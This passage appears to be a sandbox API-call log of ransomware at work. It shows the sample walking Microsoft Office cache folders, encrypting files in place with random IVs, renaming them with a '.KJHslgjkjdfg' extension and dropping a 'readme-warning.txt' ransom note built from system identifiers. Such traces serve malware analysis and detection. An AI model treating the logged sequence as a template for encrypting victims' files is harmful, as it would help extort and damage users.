lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.086] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4f8*=0x5b0, lpOverlapped=0x0) returned 1 [0156.086] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0156.087] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x674, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.087] SetEndOfFile (hFile=0x124) returned 1 [0156.091] GetProcessHeap () returned 0x990000 [0156.091] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0156.091] GetProcessHeap () returned 0x990000 [0156.091] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0156.091] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml.kjhslgjkjdfg")) returned 1 [0156.092] CloseHandle (hObject=0x124) returned 1 [0156.092] FindNextFileW (in: hFindFile=0x9b6528, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0156.092] GetProcessHeap () returned 0x990000 [0156.092] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0156.092] CryptImportKey (in: hProv=0x9acd90, pbData=0x29df2c8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b64e8) returned 1 [0156.092] CryptDecrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0, pdwDataLen=0x29df330 | out: pbData=0x9af7b0, pdwDataLen=0x29df330) returned 1 [0156.092] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0156.093] GetProcessHeap () returned 0x990000 [0156.093] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7f8 [0156.093] CryptImportKey (in: hProv=0x9acd90, pbData=0x29df2c8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b64e8) returned 1 [0156.093] CryptDecrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7f8, pdwDataLen=0x29df330 | out: pbData=0x9af7f8, pdwDataLen=0x29df330) returned 1 [0156.093] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0156.093] GetProcessHeap () returned 0x990000 [0156.093] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3c0) returned 0x9dc8a8 [0156.093] CryptImportKey (in: hProv=0x9acd90, pbData=0x29df2c8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b64e8) returned 1 [0156.093] CryptDecrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9dc8a8, pdwDataLen=0x29df330 | out: pbData=0x9dc8a8, pdwDataLen=0x29df330) returned 1 [0156.093] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0156.093] GetProcessHeap () returned 0x990000 [0156.093] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af840 [0156.093] CryptImportKey (in: hProv=0x9acd90, pbData=0x29deea0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b64e8) returned 1 [0156.093] CryptDecrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af840, pdwDataLen=0x29def10 | out: pbData=0x9af840, pdwDataLen=0x29def10) returned 1 [0156.093] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0156.094] GetProcessHeap () returned 0x990000 [0156.094] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b1918 [0156.094] CryptImportKey (in: hProv=0x9acd90, pbData=0x29deea0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b64e8) returned 1 [0156.094] CryptDecrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b1918, pdwDataLen=0x29def10 | out: pbData=0x9b1918, pdwDataLen=0x29def10) returned 1 [0156.094] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0156.094] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x29def0c | out: phkResult=0x29def0c*=0x124) returned 0x0 [0156.094] RegQueryValueExA (in: hKey=0x124, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x29def18, lpcbData=0x29def14*=0x400 | out: lpType=0x0, lpData=0x29def18*=0x30, lpcbData=0x29def14*=0x18) returned 0x0 [0156.094] RegCloseKey (hKey=0x124) returned 0x0 [0156.094] GetProcessHeap () returned 0x990000 [0156.094] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af840 | out: hHeap=0x990000) returned 1 [0156.094] GetProcessHeap () returned 0x990000 [0156.094] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b1918 | out: hHeap=0x990000) returned 1 [0156.094] GetProcessHeap () returned 0x990000 [0156.094] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b1918 [0156.095] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dec80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b64e8) returned 1 [0156.095] CryptDecrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b1918, pdwDataLen=0x29dece4 | out: pbData=0x9b1918, pdwDataLen=0x29dece4) returned 1 [0156.095] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0156.095] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x29dece8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0156.095] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x29dece0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x29dece0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0156.095] GetProcessHeap () returned 0x990000 [0156.095] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b1918 | out: hHeap=0x990000) returned 1 [0156.095] wsprintfA (in: param_1=0x29def2f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0156.095] wsprintfA (in: param_1=0x29df33c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0156.095] GetProcessHeap () returned 0x990000 [0156.095] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3b4) returned 0x9b78c0 [0156.095] wsprintfW (in: param_1=0x29de30c, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\readme-warning.txt") returned 81 [0156.096] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\readme-warning.txt" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0156.098] WriteFile (in: hFile=0x124, lpBuffer=0x9b78c0*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x29de308, lpOverlapped=0x0 | out: lpBuffer=0x9b78c0*, lpNumberOfBytesWritten=0x29de308*=0x3b3, lpOverlapped=0x0) returned 1 [0156.099] CloseHandle (hObject=0x124) returned 1 [0156.099] GetProcessHeap () returned 0x990000 [0156.099] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9dc8a8 | out: hHeap=0x990000) returned 1 [0156.099] GetProcessHeap () returned 0x990000 [0156.099] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b78c0 | out: hHeap=0x990000) returned 1 [0156.100] GetProcessHeap () returned 0x990000 [0156.100] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7f8 | out: hHeap=0x990000) returned 1 [0156.100] GetProcessHeap () returned 0x990000 [0156.100] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0156.100] FindClose (in: hFindFile=0x9b6528 | out: hFindFile=0x9b6528) returned 1 [0156.100] GetProcessHeap () returned 0x990000 [0156.100] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9dc610 | out: hHeap=0x990000) returned 1 [0156.100] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b68970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8729610, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8729610, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="{90140000-0115-0409-1000-0000000FF1CE}-C", cAlternateFileName="{90140~1")) returned 1 [0156.100] GetProcessHeap () returned 0x990000 [0156.100] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8e) returned 0x9b2468 [0156.100] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\*.*", lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b68970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8729610, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8729610, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x9b6528 [0156.105] GetProcessHeap () returned 0x990000 [0156.105] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b2468 | out: hHeap=0x990000) returned 1 [0156.105] FindNextFileW (in: hFindFile=0x9b6528, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b68970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8729610, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8729610, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0156.105] FindNextFileW (in: hFindFile=0x9b6528, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8691090, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8691090, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8691090, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1033", cAlternateFileName="")) returned 1 [0156.105] GetProcessHeap () returned 0x990000 [0156.106] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x290) returned 0x9dc610 [0156.106] GetProcessHeap () returned 0x990000 [0156.106] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x98) returned 0x9b2468 [0156.106] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\*.*", lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8691090, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8691090, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8691090, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x9b64e8 [0156.107] GetProcessHeap () returned 0x990000 [0156.107] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b2468 | out: hHeap=0x990000) returned 1 [0156.107] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8691090, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8691090, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8691090, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0156.107] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6a35700, ftCreationTime.dwHighDateTime=0x1cac9d7, ftLastAccessTime.dwLowDateTime=0x6a35700, ftLastAccessTime.dwHighDateTime=0x1cac9d7, ftLastWriteTime.dwLowDateTime=0xe8691090, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1a588, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="dwintl20.dll", cAlternateFileName="")) returned 1 [0156.107] GetProcessHeap () returned 0x990000 [0156.107] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x29a) returned 0x9dc8a8 [0156.107] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6a35700, ftCreationTime.dwHighDateTime=0x1cac9d7, ftLastAccessTime.dwLowDateTime=0x6a35700, ftLastAccessTime.dwHighDateTime=0x1cac9d7, ftLastWriteTime.dwLowDateTime=0xe8691090, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1a588, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="dwintl20.dll", cAlternateFileName="")) returned 0 [0156.107] FindClose (in: hFindFile=0x9b64e8 | out: hFindFile=0x9b64e8) returned 1 [0156.108] GetProcessHeap () returned 0x990000 [0156.108] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9dc8a8 | out: hHeap=0x990000) returned 1 [0156.108] FindNextFileW (in: hFindFile=0x9b6528, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x11e8ef00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x11e8ef00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xe84c60d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x91975, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="branding.xml", cAlternateFileName="")) returned 1 [0156.108] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0156.109] GetProcessHeap () returned 0x990000 [0156.109] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0156.109] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0156.109] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df518 | out: lpNewFilePointer=0x0) returned 1 [0156.110] WriteFile (in: hFile=0x124, lpBuffer=0x29df528*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df528*, lpNumberOfBytesWritten=0x29df4f8*=0xb, lpOverlapped=0x0) returned 1 [0156.112] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: phKey=0x29df4fc*=0x9b64e8) returned 1 [0156.112] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0156.112] GetProcessHeap () returned 0x990000 [0156.112] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0156.112] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df4e0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df4e0*=0x40) returned 1 [0156.112] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0156.112] WriteFile (in: hFile=0x124, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df4f8*=0x40, lpOverlapped=0x0) returned 1 [0156.113] WriteFile (in: hFile=0x124, lpBuffer=0x29df500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df500*, lpNumberOfBytesWritten=0x29df4f8*=0x4, lpOverlapped=0x0) returned 1 [0156.113] WriteFile (in: hFile=0x124, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df4f8*=0x10, lpOverlapped=0x0) returned 1 [0156.113] WriteFile (in: hFile=0x124, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df4f8*=0x80, lpOverlapped=0x0) returned 1 [0156.113] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df520 | out: lpNewFilePointer=0x0) returned 1 [0156.113] WriteFile (in: hFile=0x124, lpBuffer=0x29df510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df510*, lpNumberOfBytesWritten=0x29df4f8*=0x8, lpOverlapped=0x0) returned 1 [0156.113] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: phKey=0x29df4fc*=0x9b64e8) returned 1 [0156.113] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0156.113] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.113] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x91975, lpNumberOfBytesRead=0x29df504, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df504*=0x91975, lpOverlapped=0x0) returned 1 [0156.120] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0x91980, dwBufLen=0x91980 | out: pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0x91980) returned 1 [0156.127] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.127] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x91980, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4f8*=0x91980, lpOverlapped=0x0) returned 1 [0156.129] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0156.130] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x91a54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.130] SetEndOfFile (hFile=0x124) returned 1 [0156.133] GetProcessHeap () returned 0x990000 [0156.133] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0156.133] GetProcessHeap () returned 0x990000 [0156.133] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0156.133] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml.kjhslgjkjdfg")) returned 1 [0156.134] CloseHandle (hObject=0x124) returned 1 [0156.134] FindNextFileW (in: hFindFile=0x9b6528, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa26c9d00, ftCreationTime.dwHighDateTime=0x1cac9ae, ftLastAccessTime.dwLowDateTime=0xa26c9d00, ftLastAccessTime.dwHighDateTime=0x1cac9ae, ftLastWriteTime.dwLowDateTime=0xe85142d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xccb88, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DW20.EXE", cAlternateFileName="")) returned 1 [0156.134] FindNextFileW (in: hFindFile=0x9b6528, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xabf60500, ftCreationTime.dwHighDateTime=0x1cac9ae, ftLastAccessTime.dwLowDateTime=0xabf60500, ftLastAccessTime.dwHighDateTime=0x1cac9ae, ftLastWriteTime.dwLowDateTime=0xe85ab8b0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x80760, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="dwdcw20.dll", cAlternateFileName="")) returned 1 [0156.134] FindNextFileW (in: hFindFile=0x9b6528, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xabf60500, ftCreationTime.dwHighDateTime=0x1cac9ae, ftLastAccessTime.dwLowDateTime=0xabf60500, ftLastAccessTime.dwHighDateTime=0x1cac9ae, ftLastWriteTime.dwLowDateTime=0xe85f73a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x7eda0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="dwtrig20.exe", cAlternateFileName="")) returned 1 [0156.134] FindNextFileW (in: hFindFile=0x9b6528, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8d646800, ftCreationTime.dwHighDateTime=0x1cacc53, ftLastAccessTime.dwLowDateTime=0x8d646800, ftLastAccessTime.dwHighDateTime=0x1cacc53, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x741, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.VC90.CRT.manifest", cAlternateFileName="MICROS~1.MAN")) returned 1 [0156.134] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\microsoft.vc90.crt.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0156.135] GetProcessHeap () returned 0x990000 [0156.135] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0156.135] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0156.135] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df518 | out: lpNewFilePointer=0x0) returned 1 [0156.135] WriteFile (in: hFile=0x124, lpBuffer=0x29df528*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df528*, lpNumberOfBytesWritten=0x29df4f8*=0xf, lpOverlapped=0x0) returned 1 [0156.138] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: phKey=0x29df4fc*=0x9b64e8) returned 1 [0156.138] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0156.138] GetProcessHeap () returned 0x990000 [0156.138] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x60) returned 0x9b0b70 [0156.138] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b0b70*, pdwDataLen=0x29df4e0*=0x60, dwBufLen=0x60 | out: pbData=0x9b0b70*, pdwDataLen=0x29df4e0*=0x60) returned 1 [0156.138] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0156.138] WriteFile (in: hFile=0x124, lpBuffer=0x9b0b70*, nNumberOfBytesToWrite=0x60, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9b0b70*, lpNumberOfBytesWritten=0x29df4f8*=0x60, lpOverlapped=0x0) returned 1 [0156.138] WriteFile (in: hFile=0x124, lpBuffer=0x29df500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df500*, lpNumberOfBytesWritten=0x29df4f8*=0x4, lpOverlapped=0x0) returned 1 [0156.138] WriteFile (in: hFile=0x124, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df4f8*=0x10, lpOverlapped=0x0) returned 1 [0156.139] WriteFile (in: hFile=0x124, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df4f8*=0x80, lpOverlapped=0x0) returned 1 [0156.139] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df520 | out: 